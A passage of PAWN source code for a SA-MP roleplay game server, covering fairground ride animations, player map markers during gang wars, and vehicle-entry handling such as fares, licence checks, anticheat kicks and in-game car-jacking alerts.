	   if(PlayerInfo[playerid][pLanguage] == 2 && PlayerInfo[playerid][pLevel] <= 1)
	   {
	   //SCM(playerid,COLOR_WHITE," ");
	   SCM(playerid,COLOR_SINA3,"Well, you can drive motor cycles and cars now.");
	   SCM(playerid,COLOR_SINA3,"You can have a job and earn money,");
	   SCM(playerid,COLOR_SINA3,"Type /jobs to find a good job.");
	//	SendMessage(playerid,COLOR_LIGHTBLUE,"SERVER: Go to new chackpoint and receive your car (faggio).");


	   }
	}
	return 1;
}

public OnPlayerLeaveRaceCheckpoint(playerid)
{
	return 1;
}

public OnRconCommand(cmd[])
{
	return 1;
}





public OnObjectMoved(objectid)
{


	//Carousel
	/*
	if(objectid == Carousel_Base)
	{
		new Float:pos[3];
		GetObjectPos(Carousel_Base, pos[0], pos[1], pos[2]);

		new Float:rot[3];
		GetObjectRot(Carousel_Base, rot[0], rot[1], rot[2]);

		if(rot[2] == 180) MoveObject(Carousel_Base, pos[0], pos[1], pos[2]-0.1005, 0.01, 0.00, 0.00, 360.00);
		else if(rot[2] == 360) MoveObject(Carousel_Base, pos[0], pos[1], pos[2]+0.1005, 0.01, 0.00, 0.00, 0.00);
	 }
	 */
	//Carousel



	//Observer
	if(objectid == Observer_Base)
	{
		new Float:rot[3];
	   GetObjectRot(Observer_Base, rot[0], rot[1], rot[2]);
		if(rot[2] == 180) SetTimer("DownObserver_Base", 5000, 0);
		else if(rot[2] == 360) SetObjectRot(Observer_Base, 0, 0, 0);
	}
	//Observer

	//FerrisWheel
	if(objectid == FerrisWheel_Base)
	{
	   new Float:pos[3];
		GetObjectPos(FerrisWheel_Base, pos[0], pos[1], pos[2]);
		new Float:rot[3];
		GetObjectRot(FerrisWheel_Base, rot[0], rot[1], rot[2]);
		if(rot[1] == 180.00) MoveObject(FerrisWheel_Base, pos[0], pos[1], pos[2]-0.05, 0.01, 0.00, 360.00, 90.00);
		else if(rot[1] == 360.00) MoveObject(FerrisWheel_Base, pos[0], pos[1], pos[2]+0.05, 0.01, 0.00, 0.00, 90.00);
	}
	//FerrisWheel


	//Crazy Cow
	if(objectid == Cow_Seats[0])
	{
		new Float:pos[12];
		GetObjectPos(Cow_Seats[0], pos[0], pos[1], pos[2]);
		GetObjectPos(Cow_Seats[1], pos[3], pos[4], pos[5]);
		GetObjectPos(Cow_Seats[2], pos[6], pos[7], pos[8]);
		GetObjectPos(Cow_Seats[3], pos[9], pos[10], pos[11]);


		if(retere == -1) return 1;
		else if(retere == 0)
		{
			MoveObject(Cow_Seats[0], pos[0], pos[1], pos[2]-0.05, 0.5, -random(10), -random(10), -random(5));
			MoveObject(Cow_Seats[1], pos[3], pos[4], pos[5]-0.05, 0.5, -random(10), -random(10), -random(5));
			MoveObject(Cow_Seats[2], pos[6], pos[7], pos[8]-0.05, 0.5, -random(10), -random(10), -random(5));
			MoveObject(Cow_Seats[3], pos[9], pos[10], pos[11]-0.05, 0.5, -random(10), -random(10), -random(5));
			retere = 1;
		}
		else if(retere == 1)
		{
			MoveObject(Cow_Seats[0], pos[0], pos[1], pos[2]+0.05, 0.5, random(10), random(10), random(5));
			MoveObject(Cow_Seats[1], pos[3], pos[4], pos[5]+0.05, 0.5, random(10), random(10), random(5));
			MoveObject(Cow_Seats[2], pos[6], pos[7], pos[8]+0.05, 0.5, random(10), random(10), random(5));
			MoveObject(Cow_Seats[3], pos[9], pos[10], pos[11]+0.05, 0.5, random(10), random(10), random(5));
			retere = 0;
		}
	}


	return 1;
}









/*
public OnDynamicObjectMoved(objectid)
{
	new i = Baller;
	if(ShootingBall == 2)
	{
			 BallDown2(i);
			 return 1;
	}
	else if(ShootingBall == 3)
	{
			 BallDown3(i);
			 return 1;
	}
	else if(ShootingBall == 4)
	{
			 BallDown4(i);
			 return 1;
	}
	else if(ShootingBall == 5)
	{
			 BallDown5(i);
			 return 1;
	}
	else if(ShootingBall == 6)
	{
	   LoopingAnim(i,"BSKTBALL","BBALL_walk",4.1,1,1,1,1,1);
			 HavingBall[i] = 1;
			 Anim[i] = 0;
	}
	if(BallBounce == 1)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z+1.2, 4);
		  BallBounce = 2;
	   }
	   else if(BallBounce == 2)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z-1.2, 4);
		  BallBounce = 3;
	   }
	   else if(BallBounce == 3)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z+0.8, 3);
		  BallBounce = 4;
	   }
	   else if(BallBounce == 4)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z-0.8, 3);
		  BallBounce = 5;
	   }
	   else if(BallBounce == 5)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z+0.5, 2);
		  BallBounce = 6;
	   }
	   else if(BallBounce == 6)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z-0.5, 2);
		  BallBounce = 7;
	   }
	   else if(BallBounce == 7)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z+0.2, 1);
		  BallBounce = 8;
	   }
	   else if(BallBounce == 8)
	{
	   new Float:x, Float:y, Float:z;
		  GetDynamicObjectPos(Ball, x, y, z);
		  MoveDynamicObject(Ball, x, y, z-0.2, 1);
		  BallBounce = 0;
	   }
	if(!HavingBall[i]) return 1;
	   new Keys, ud, lr;
	   GetPlayerKeys(i, Keys, ud, lr);
	if(Anim[i])
	{
	   switch(BallStatus)
		  {
					case 0:
					{
						  BallStatus = 1;
						  new Float:x, Float:y, Float:z;
						  GetPlayerPos(i, x, y, z);
						  StopDynamicObject(Ball);
						  new Float:x2, Float:y2;
					   GetXYInFrontOfPlayer(i, x2, y2, 0.4);
						  MoveDynamicObject(Ball, x2, y2, z+0.1, 5.5);
					}
					case 1:
					{
					BallStatus = 0;
					new Float:x, Float:y, Float:z;
						  GetPlayerPos(i, x, y, z);
						  StopDynamicObject(Ball);
						  new Float:x2, Float:y2;
						  GetXYInFrontOfPlayer(i, x2, y2, 0.4);
						  MoveDynamicObject(Ball, x2, y2, z-0.8, 5.5);
					}
			 }
			 return 1;
	}
	if(Keys & KEY_SPRINT)
	   {
	   LoopingAnim(i,"BSKTBALL","BBALL_run",4.1,1,1,1,1,1);
	   switch(BallStatus)
			 {
					case 0:
					{
						  BallStatus = 1;
						  new Float:x, Float:y, Float:z;
						  GetPlayerPos(i, x, y, z);
						  StopDynamicObject(Ball);
						  new Float:x2, Float:y2;
					GetXYInFrontOfPlayer(i, x2, y2, 1.5);
						  MoveDynamicObject(Ball, x2, y2, z+0.1, 8);
					}
					case 1:
					{
					BallStatus = 0;
					new Float:x, Float:y, Float:z;
						  GetPlayerPos(i, x, y, z);
						  StopDynamicObject(Ball);
						  new Float:x2, Float:y2;
						  GetXYInFrontOfPlayer(i, x2, y2, 1.5);
						  MoveDynamicObject(Ball, x2, y2, z-0.8, 8);
					}
			 }
			 return 1;
	}
	else
	{
	   LoopingAnim(i,"BSKTBALL","BBALL_walk",4.1,1,1,1,1,1);
	}
	   switch(BallStatus)
	   {
			 case 0:
			 {
					BallStatus = 1;
					new Float:x, Float:y, Float:z;
					GetPlayerPos(i, x, y, z);
					StopDynamicObject(Ball);
					new Float:x2, Float:y2;
				GetXYInFrontOfPlayer(i, x2, y2, 1.2);
					MoveDynamicObject(Ball, x2, y2, z+0.1, 5);
			 }
			 case 1:
			 {
			 BallStatus = 0;
			 new Float:x, Float:y, Float:z;
					GetPlayerPos(i, x, y, z);
					StopDynamicObject(Ball);
					new Float:x2, Float:y2;
					GetXYInFrontOfPlayer(i, x2, y2, 1.2);
					MoveDynamicObject(Ball, x2, y2, z-0.8, 5);
			 }
	   }
	return 1;
}
*/
 public OnPlayerStreamIn(playerid, forplayerid)
{
if(FCNPC_IsValid(playerid)) return 1;

	   if(IsPlayerConnected(forplayerid))
	   {
			if(HideTag[playerid] == 1) {
			ShowPlayerNameTagForPlayer(forplayerid, playerid, false);
			}
			 if(IsPlayerStreamedIn(playerid, forplayerid) && playerid != forplayerid)
			 {
				if(OnWar[playerid] == 9999 && OnWar[forplayerid] == 9999 && TransportDuty[forplayerid] == 0)
				{
					SetPlayerMarkerForPlayer(forplayerid, playerid, GetPlayerColor(playerid)&0xFFFFFF00);
					SetPlayerMarkerForPlayer(playerid, forplayerid, GetPlayerColor(forplayerid)&0xFFFFFF00);
				}
					if(!IsPlayerInAnyVehicle(playerid) && TransportDuty[forplayerid] == 1 && (PINFO[forplayerid][pLeader] == 10 || PINFO[forplayerid][pMember] == 10) && OnWar[playerid] == 9999) {
					SetPlayerMarkerForPlayer(forplayerid, playerid, GetPlayerColor(playerid));
					}
				if(OnWar[playerid] != 9999 && OnWar[forplayerid] != 9999)
				{
					if(OnWar[playerid] == OnWar[forplayerid])
					{
					   if(IsPlayerInTurf(playerid, OnWar[playerid])) SetPlayerMarkerForPlayer(forplayerid, playerid, GetPlayerColor(playerid));
					   else SetPlayerMarkerForPlayer(forplayerid, playerid, GetPlayerColor(playerid)&0xFFFFFF00);
					   if(IsPlayerInTurf(forplayerid, OnWar[forplayerid])) SetPlayerMarkerForPlayer(playerid, forplayerid, GetPlayerColor(forplayerid));
					   else SetPlayerMarkerForPlayer(playerid, forplayerid, GetPlayerColor(forplayerid)&0xFFFFFF00);
					}
					else
					{
					   SetPlayerMarkerForPlayer(forplayerid, playerid, GetPlayerColor(playerid)&0xFFFFFF00);
					   SetPlayerMarkerForPlayer(playerid, forplayerid, GetPlayerColor(forplayerid)&0xFFFFFF00);
					}
				}
				if(OnWar[playerid] == 9999 || OnWar[forplayerid] == 9999)
				{
					SetPlayerMarkerForPlayer(forplayerid, playerid, GetPlayerColor(playerid)&0xFFFFFF00);
					SetPlayerMarkerForPlayer(playerid, forplayerid, GetPlayerColor(forplayerid)&0xFFFFFF00);
				}
			 }
	}
	return 1;

}
/*
public OnPlayerStreamIn(playerid, forplayerid)
{

	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {

		  for(new forplayerid = 0;forplayerid<Akharish;forplayerid++)
		  {
			 if(IsPlayerStreamedIn(i, forplayerid) && i != forplayerid)
			 {
				if(OnWar[i] != 9999 && OnWar[forplayerid] != 9999 && OnWar[i] == OnWar[forplayerid])
				{
					   if(IsPlayerInTurf(i, OnWar[i])) SetPlayerMarkerForPlayer(forplayerid, i, GetPlayerColor(i));
					   else SetPlayerMarkerForPlayer(forplayerid, i, GetPlayerColor(i)&0xFFFFFF00);
					   if(IsPlayerInTurf(forplayerid, OnWar[forplayerid])) SetPlayerMarkerForPlayer(i, forplayerid, GetPlayerColor(forplayerid));
					   else SetPlayerMarkerForPlayer(i, forplayerid, GetPlayerColor(forplayerid)&0xFFFFFF00);
						}
					else if(OnWar[i] == 9999 && OnWar[forplayerid] == 9999)
					{
					   SetPlayerMarkerForPlayer(forplayerid, i, 0xFFFFFF00);
					   SetPlayerMarkerForPlayer(i, forplayerid, 0xFFFFFF00);
					}

				if(OnWar[i] == 9999 && OnWar[forplayerid] == 9999)
				{
					SetPlayerMarkerForPlayer(forplayerid, i, GetPlayerColor(i)&0xFFFFFF00);
					SetPlayerMarkerForPlayer(i, forplayerid, GetPlayerColor(forplayerid)&0xFFFFFF00);
				}
			 }
		  }
	   }
	}
	return 1;

}*/
function BackInVehX(playerid)
{
if(BackInVeh[playerid]!=0){KillTimer(BackInVeh[playerid]);BackInVeh[playerid]=0;}
SendRobMessage(COLOR_ROB, " Runner couldn't back in vehicle. Rob mission failed.");
StopRob();
return 1;
}
public OnPlayerStateChange(playerid, newstate, oldstate)
{
if(FCNPC_IsValid(playerid)) return 1;
if((oldstate==PLAYER_STATE_DRIVER||oldstate==PLAYER_STATE_PASSENGER)&&(newstate==PLAYER_STATE_DRIVER||newstate==PLAYER_STATE_PASSENGER))
{
if(ShouldntKick[playerid]!=1)
{
new VrWa[144];
format(VrWa, sizeof(VrWa), "AdmCmd: %s was kicked by AdmBot, Reason: Impossible changing seat", RPName(playerid));
SendClientMessageToAll(COLOR_LIGHTRED, VrWa);
KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked.");
}
}
if(newstate==PLAYER_STATE_DRIVER)
{
	new vehicleid = GetPlayerVehicleID(playerid);
	if(OwnedMashin[vehicleid]==1)
	{
	if(playerid==GetVehicleOwnerID(vehicleid)){}
	else
	{
	new enginex, lightsx, alarmx, doorsx, bonnetx, bootx, objectivex, admwrn[144], Float:xX, Float:xY, Float:xZ;
    GetVehicleParamsEx(vehicleid, enginex, lightsx, alarmx, doorsx, bonnetx, bootx, objectivex);
    #pragma unused enginex
    #pragma unused lightsx
    #pragma unused alarmx
    #pragma unused bonnetx
    #pragma unused bootx
    #pragma unused objectivex
    if(doorsx==1)
    {
	format(admwrn, sizeof(admwrn), "{ffffff}Player %s(%i) wants to enter to a locked personal vehicle (Prevented)",RPName(playerid), playerid);
    AdminWarn(admwrn);
    GetPlayerPos(playerid, xX, xY, xZ);
    SetPlayerPos(playerid, xX, xY, xZ);
    }
	}
	}
}
if(oldstate==PLAYER_STATE_DRIVER&&newstate==PLAYER_STATE_ONFOOT&&sRunner==playerid&&IsServerRob==1){
SCM(playerid, COLOR_SINARANG, "Back in your vehicle in 10 seconds or the rob mission will be failed");
BackInVeh[playerid]=SetTimerEx("BackInVehX", 10000, 0, "i", playerid);}
if(oldstate==PLAYER_STATE_ONFOOT&&newstate==PLAYER_STATE_DRIVER&&sRunner==playerid&&IsServerRob==1){
if(GetPlayerVehicleID(playerid) == RobVeh){if(BackInVeh[playerid]!=0){KillTimer(BackInVeh[playerid]);BackInVeh[playerid]=0;}}}else{}
	if(newstate==PLAYER_STATE_DRIVER && !FCNPC_IsValid(playerid))
	{
	    SetPlayerArmedWeapon(playerid, 0);
	    ImDrived[playerid]++;
	    if(MojazBeCar[playerid] != GetPlayerVehicleID(playerid) && anticheat[playerid] != 0)
	    {
	        CheatWarn(playerid, 2, 0.0, 0, 0);
	    }
		if((GetTickCount()-GetPVarInt(playerid, "cartime")) < 1000)
		{
			SetPVarInt(playerid, "carspam", GetPVarInt(playerid, "carspam")+1);
			if(GetPVarInt(playerid, "carspam") >= 5)
			{
	        	CheatWarn(playerid, 2, 0.0, 0, 0);
				return 1;
			}
		}
		SetPVarInt(playerid, "cartime", GetTickCount());
	}
	if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
	   {
		new Float:vhelti;
		GetVehicleHealth(GetPlayerVehicleID(playerid), vhelti);
	   AutoHelti[playerid] = vhelti;
	   }
	if ((newstate == PLAYER_STATE_DRIVER) || (newstate == PLAYER_STATE_PASSENGER))
	{
		new vehicleid = GetPlayerVehicleID(playerid);
		GetVehicleHealth(vehicleid, HPVEH[vehicleid]);
	   g_PlayerVehicle[playerid] = GetPlayerVehicleID(playerid);
	   g_SeatID[playerid] = GetPlayerVehicleSeat(playerid);
	   if(VehLinkDare[vehicleid] == 1)
	   {
        VehLinkDare[vehicleid] = 1;
        PlayAudioStreamForPlayer(playerid, VehLink[vehicleid]);
        SCM(playerid, COLOR_YELLOW2, "Vehicle inserted link played.");
	   }
	}
	new string[144];
	if(newstate==PLAYER_STATE_DRIVER)
	{
	new veh=GetPlayerVehicleID(playerid);
	if(!IsAnOilCar(veh)){}else{
	format(string, sizeof(string), "Car's oil: %sL", FormatNumber(OilInCar[veh]));
	SCM(playerid, COLOR_SINARANG, string);}
	}
	/*
	if((newstate == PLAYER_STATE_SPECTATING) && PINFO[playerid][pAdmin] == 0 && gPlayerLogged[playerid] == 1) {
	format(string, 256, "[Admin-Warn]: {FFFFFF}Server detected an invisible hack on %s(%i).",PINFO[playerid][pName],playerid);
	ABroadCast(COLOR_AdminWarn,string,1);
	}*/
	if(newstate == PLAYER_STATE_ONFOOT)
	{
	   if(CarRadioPlayed[playerid] == true) {CarRadioPlayed[playerid] = false; StopAudioStreamForPlayer(playerid);}
	   if(TransportDuty[playerid] > 0)
	   {
		  if(TransportDuty[playerid] == 1)
		  {
			 TaxiDrivers -= 1;
		  }
		  else if(TransportDuty[playerid] == 2)
		  {
			 BusDrivers -= 1;
		  }
		  TransportDuty[playerid] = 0;
		  format(string, sizeof(string), "You are now Off Duty and earned $%d.", TransportMoney[playerid]);
		  SendMessage(playerid, COLOR_LIGHTGREEN, string);
		  TransportValue[playerid] = 0; TransportMoney[playerid] = 0;
	   }


	   if(TransportCost[playerid] > 0 && TransportDriver[playerid] < INVALID_PLAYER_ID)
	   {
		  if(IsPlayerConnected(TransportDriver[playerid]))
		  {
			 TransportMoney[TransportDriver[playerid]] += TransportCost[playerid];
			 TransportTime[TransportDriver[playerid]] = 0;
			 TransportCost[TransportDriver[playerid]] = 0;
			 format(string, sizeof(string), "~w~The ride cost~n~~r~$%d",TransportCost[playerid]);
			 GameTextForPlayer(playerid, string, 5000, 1);
			 format(string, sizeof(string), "~w~Passenger left the taxi~n~~g~Earned $%d",TransportCost[playerid]);
			 GameTextForPlayer(TransportDriver[playerid], string, 5000, 1);
			 GivePlayerPool(playerid, -TransportCost[playerid]);
			 TransportCost[playerid] = 0;
			 TransportTime[playerid] = 0;
			 TransportDriver[playerid] = INVALID_PLAYER_ID;
		  }
	   }
	   TelePos[playerid][0] = 0.0;
	   TelePos[playerid][1] = 0.0;
	}
	if(newstate == PLAYER_STATE_PASSENGER)
	{
	new ss = GetPlayerVehicleID(playerid);
	new modelid = GetVehicleModel( ss );
		new Texer[128];
	format(Texer, sizeof(Texer), "%s", aVehicleNames[modelid-400]);
	//PlayerTextDrawSetString(playerid, Textdraw85, Texer);
	//PlayerTextDrawShow(playerid, Textdraw85);

		//PlayerTextDrawSetPreviewModel(playerid, CarTD, modelid);
	new vh1,vh2;
	GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
	//PlayerTextDrawSetPreviewVehCol(playerid, CarTD, vh1, vh2);
	//PlayerTextDrawShow(playerid, CarTD);
	PlayerTextDrawShow(playerid, SpeedoTextDraw[playerid]);
	TDShowedSpeedo[playerid] = true;
	PlayerTextDrawShow(playerid, FuelTextDraw[playerid]);
	TDShowedFuel[playerid] = true;
	new RangerC = GetPlayerVehicleID(playerid);// Hamun ke midunid :D Ranger
	if(OwnedMashin[RangerC] == 1)
	{
	PlayerTextDrawShow(playerid, KiloTextDraw[playerid]);
	TDShowedKilo[playerid] = true;
	PlayerTextDrawShow(playerid, LockTD[playerid]);
	TDShowedLock[playerid] = true;
	for(new i = 0; i < Akharish; i++)
	{
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_1])
	{
	new r = PlayerInfo[i][pVeh1];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_2])
	{
	new r = PlayerInfo[i][pVeh2];
//	new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_3])
	{
	new r = PlayerInfo[i][pVeh3];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_4])
	{
	new r = PlayerInfo[i][pVeh4];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_5])
	{
	new r = PlayerInfo[i][pVeh5];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	if(GetPlayerVehicleID(i) == PlayerInfo[i][pCar_6])
	{
	new r = PlayerInfo[i][pVeh6];
	//new string[256];
	format(string,sizeof(string),"Odometer: %.2f Km", vInfo[r][cKilo]);
	PlayerTextDrawSetString(playerid, KiloTextDraw[playerid], string);
	if(vInfo[r][cLock] == 1) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~r~Locked");}
	if(vInfo[r][cLock] == 0) {PlayerTextDrawSetString(playerid, LockTD[playerid], "Status: ~g~Unlocked");}
	}
	}
	}
	if(GetPlayerWeapon(playerid) == 30 || GetPlayerWeapon(playerid) == 29 || GetPlayerWeapon(playerid) == 31)
	{} else { SetPlayerArmedWeapon(playerid,0); }

	   if(CarRadioPlayed[playerid] == false && CarRadio[GetPlayerVehicleID(playerid)][0] != '\0')
	   {
		  PlayAudioStreamForPlayer(playerid, CarRadio[GetPlayerVehicleID(playerid)]);
		  CarRadioPlayed[playerid] = true;
	   }
	   new name[MAX_PLAYER_NAME];
	   GetPlayerName(playerid, name, sizeof(name));
	   new vehicleid = GetPlayerVehicleID(playerid);
	   for(new i = 0; i < Akharish; i++)
	   {
		  if(IsPlayerConnected(i))
		  {
			 if(IsPlayerInVehicle(i, vehicleid) && GetPlayerState(i) == 2 && TransportDuty[i] > 0)
			 {
				if(GetPlayerPool(playerid) < TransportValue[i])
				{
					format(string, sizeof(string), "You need $%d to enter.", TransportValue[i]);
					SendMessage(playerid, COLOR_WHITE, string);
					RemovePlayerFromVehicle(playerid);
				}
				else
				{
					if(TransportDuty[i] == 1)
					{
					   format(string, sizeof(string), "You paid $%d to the Taxi Driver.", TransportValue[i]);
					   SendMessage(playerid, COLOR_YELLOW, string);
					   format(string, sizeof(string), "Passenger %s has entered your Taxi.", name);
					   SendMessage(i, COLOR_YELLOW, string);
					   TransportTime[i] = 1;
					   TransportTime[playerid] = 1;
					   TransportCost[playerid] = TransportValue[i];
					   TransportCost[i] = TransportValue[i];
					   TransportDriver[playerid] = i;
					}
					else if(TransportDuty[i] == 2)
					{
					   format(string, sizeof(string), "You paid $%d to the Bus Driver.", TransportValue[i]);
					   SendMessage(playerid, COLOR_YELLOW, string);
					   format(string, sizeof(string), "Passenger %s has entered your Bus for $%d.", name, TransportValue[i]);
					   SendMessage(i, COLOR_YELLOW, string);
					   GivePlayerPool(i, TransportValue[i]);
					}
					GivePlayerPool(playerid, - TransportValue[i]);
					TransportMoney[i] += TransportValue[i];
				}
			 }
		  }
	   }
	}
	if(newstate == PLAYER_STATE_DRIVER)
	{
	   SetPlayerArmedWeapon(playerid, 0);
	   OldCar[playerid] = GetPlayerVehicleID(playerid);
	   if(IsSpecialVeh(GetPlayerVehicleID(playerid)) && !IsACop(playerid)) return Kick(playerid);
	   if(CarRadioPlayed[playerid] == false && CarRadio[GetPlayerVehicleID(playerid)][0] != '\0')
	   {
		  PlayAudioStreamForPlayer(playerid, CarRadio[GetPlayerVehicleID(playerid)]);
		  CarRadioPlayed[playerid] = true;
	   }
	   new ss = GetPlayerVehicleID(playerid);
	   if(ss == OnEnteringVeh[playerid])
	   {
		  if(Ghatel[OnEnteringVehPlay[playerid]] != playerid)
		  {
			 if(!IsACop(playerid) && PINFO[playerid][pJailTime] <= 0 && OnEnteringVehPlay[playerid] != playerid)
			 {
			 if((PINFO[playerid][pCar_1] != ss) && (PINFO[playerid][pCar_2] != ss) && (PINFO[playerid][pCar_3] != ss) && (PINFO[playerid][pCar_4] != ss) && (PINFO[playerid][pCar_5] != ss) && (PINFO[playerid][pCar_6] != ss))
			 {
				new strali[256];
				new Float:XX,Float:YY,Float:ZZ;
				format(strali, 256, "%s jacked your vehicle. You have 60 seconds to announce the police. Use /call 110.", PINFO[playerid][pName]);
				SCM(OnEnteringVehPlay[playerid],COLOR_Good,strali);
				GetPlayerPos(OnEnteringVehPlay[playerid], XX, YY, ZZ);
				SetPlayerPos(OnEnteringVehPlay[playerid], XX, YY, ZZ);
				TimerAnnouncer[OnEnteringVehPlay[playerid]] = 60;
				Ghatel[OnEnteringVehPlay[playerid]] = playerid;
				GhatelWanted[OnEnteringVehPlay[playerid]] = 1;
				format(CrimeText[OnEnteringVehPlay[playerid]], 100, "Car Jacker");
				OnEnteringVeh[playerid] = 0;
				OnEnteringVehPlay[playerid] = INVALID_PLAYER_ID;
			 }
			 }
		  }
	   }
	   new modelid = GetVehicleModel( ss );
	   /*if ( modelid == 481||modelid == 510||modelid == 509 )
	   {
		  SetVehicleSoratLimit(ss, 80);
	   }*/
		new Texer[128];
		format(Texer, sizeof(Texer), "%s", aVehicleNames[modelid-400]);
		//PlayerTextDrawSetString(playerid, Textdraw85, Texer);
		//PlayerTextDrawShow(playerid, Textdraw85);

		//PlayerTextDrawSetPreviewModel(playerid, CarTD, modelid);
		new vh1,vh2;
		GetVehicleColor(GetPlayerVehicleID(playerid), vh1, vh2);
		//PlayerTextDrawSetPreviewVehCol(playerid, CarTD, vh1, vh2);
		//PlayerTextDrawShow(playerid, CarTD);

	   PlayerTextDrawShow(playerid, SpeedoTextDraw[playerid]);
		TDShowedSpeedo[playerid] = true;
	   PlayerTextDrawShow(playerid, FuelTextDraw[playerid]);
		TDShowedFuel[playerid] = true;
	   benzinkamkon();
	   new newcar = GetPlayerVehicleID(playerid);
	   TelePos[playerid][0] = 0.0;
	   TelePos[playerid][1] = 0.0;
	   new vehicless;
	   vehicless = GetVehicleModel(newcar) - 400;
	   format(string, sizeof(string), "~g~%s", aVehicleNames[vehicless]);
	   GameTextForPlayer(playerid, string, 4000, 1);
	   if(IsABoat(newcar))
	   {
		  if(PlayerInfo[playerid][pBoatLic] < 1)
		  {
			 if(TakingsiLesson[playerid] == 1) { }
			 else
			 {
				SendMessage(playerid, COLOR_LIGHTBLUE, "You don't know how to sail yet, so you left the sail!");
				RemovePlayerFromVehicle(playerid);
				TogglePlayerControllable(playerid, 1);
			 }
		  }
	   }
	   if(IsAPlane(newcar))
	   {
		 if(PlayerInfo[playerid][pFlyLic] < 1)
		  {
			 if(TakingsiLesson[playerid] == 1) { }
			 else
			 {
				SendMessage(playerid, COLOR_LIGHTBLUE, "You don't know how to fly yet, so you left the plane!");
				RemovePlayerFromVehicle(playerid);
				TogglePlayerControllable(playerid, 1);
			 }
		  }
	   }
	   else
	   {
		  if(PlayerInfo[playerid][pCarLic] == 0)
		  {
			 if(IsABike(newcar) || IsPGangCar8(newcar)) {}
			 else
			 {
				new carid = GetPlayerVehicleID(playerid);
				if(TakingLesson[playerid] == 1 && carid == 361 || carid == 362 || carid == 363 || carid == 364 || carid == 365 || carid == 366 || carid == 367) {}
				else
				{
					SendMessage(playerid, COLOR_LIGHTBLUE, "You don't know how to drive yet, so you left the car!");
					RemovePlayerFromVehicle(playerid);
				}
			 }
		  }

	   }
	   if(IsACopCar(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 1||PlayerInfo[playerid][pMember] == 1||PlayerInfo[playerid][pLeader] == 2||PlayerInfo[playerid][pMember] == 2||PlayerInfo[playerid][pLeader] == 3||PlayerInfo[playerid][pMember] == 3||PlayerInfo[playerid][pLeader] == 20||PlayerInfo[playerid][pMember] == 20) { }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SendMessage(playerid, COLOR_BLUE,"You are not a cop.");
		  }
	   }
	   /*
		if(IsASCar(newcar))
	   {
		  if(PlayerInfo[playerid][pLeader] == 21 || PINFO[playerid][pLeader] == 3) { }
		  else
		  {
			 RemovePlayerFromVehicle(playerid);
			 SCM(playerid, COLOR_NG, "You are not a National Guard.");
		  }
	   }
	   */

	   if(trashcar(newcar))
	   {
		  if(PlayerInfo[playerid][pJob] == 20)
		  {
			 if(OnCheckpoint[playerid] == 1) { SCM(playerid,COLOR_Good,"You already have an enable checkpoint."); }
			 else
			 {
				if(Trashes[playerid] >= 20)
				{
					OnCheckpoint[playerid] = 1;
					SCM(playerid,COLOR_MAMAD,"Your Trashes are full, /dumptrash first, i give you a checkpoint to you know where is it.");
					SetPlayerCheckpoint(playerid,2109.051269,-2009.960083,13.546875,4);
					CP[playerid] = 4002332;
				}
				else
				{
					OnAshghal[playerid] = 1;
